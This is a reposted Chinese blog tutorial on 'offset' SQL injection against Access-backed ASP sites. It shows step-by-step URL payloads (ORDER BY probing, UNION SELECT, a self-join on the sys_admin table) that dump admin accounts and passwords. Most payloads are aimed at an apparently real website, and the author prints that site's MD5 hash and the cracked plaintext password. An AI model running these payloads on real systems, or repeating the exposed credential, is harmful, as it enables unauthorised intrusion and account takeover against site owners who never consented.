Access數據庫之偏移注入


/*轉載請注明出處:珍惜少年時*/

偏移注入主要是針對知道表,但是不知道字段的。

這里我已經知道了表明是:sys_admin

可以使用:

select exists(selct * from sys_admin);

來猜測是否有sys_admin表,如果說存在的話頁面就會顯示正常。

00x1 判斷字段數

http://www.test.com/newslist.asp?id=688 order by 19 #錯誤
http://www.test.com/newslist.asp?id=688 order by 18 #正確

 

00x2 爆出顯示位

http://www.fdsp-reme.com/newslist.asp?id=688 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from sys_admin

 

 

00x3 判斷表內存在的字段數

接下來我們利用“*”代替admin表內存在的字段,由於是18個字段數,需要逐步測試,直到返回正常。

http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from sys_admin  #錯誤
http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from sys_admin     #錯誤
http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from sys_admin        #錯誤

直到.........
http://www.test.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,* from sys_admin #正確

說明了sys_admin表下有11個字段。

偏移注入的基本公式為:

           order by 出的字段數減去*號的字段數然而再用order by的字段數減去2倍剛才得出來的答案

    也就是18-11=7

       18-7*2=4

 

得到答案等於:4

然后依舊是套公式的過程。

http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id = b.id)

#這里union select 1,2,3,4:顧名思義就是剛才得出來的長度。
#后面的是sql,可作公式。

如此便爆出了賬號密碼。

但是我測試的這個網站,略微有點特殊。如下圖所示

c7d062ba4138db9f顧名思義是md5加密。此md5解密出來得:fdspme

#注:有點題外話,偏移注入以上已經完成。

但下面的那個數字就有點讓人懊惱了。

我說他是ASCII碼,你信嗎?最關鍵的是我也不敢說他是ASCII碼

 66, 65, 64, 63, 62, 61, 60, 59, 58, 57, 56, 55, 54, 53

一剛開始一眼看下去是ASCII編碼,便興匆匆的一個個解密了。解密出來是:BA@?>=<;:98763 

心中感慨不已,居然那么難。然而居然是錯的。以為是雷池加密,再用雷池解密一下,也還是錯的。但是大家有沒有注意到。數字!

好有順序。

 

THE END


 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM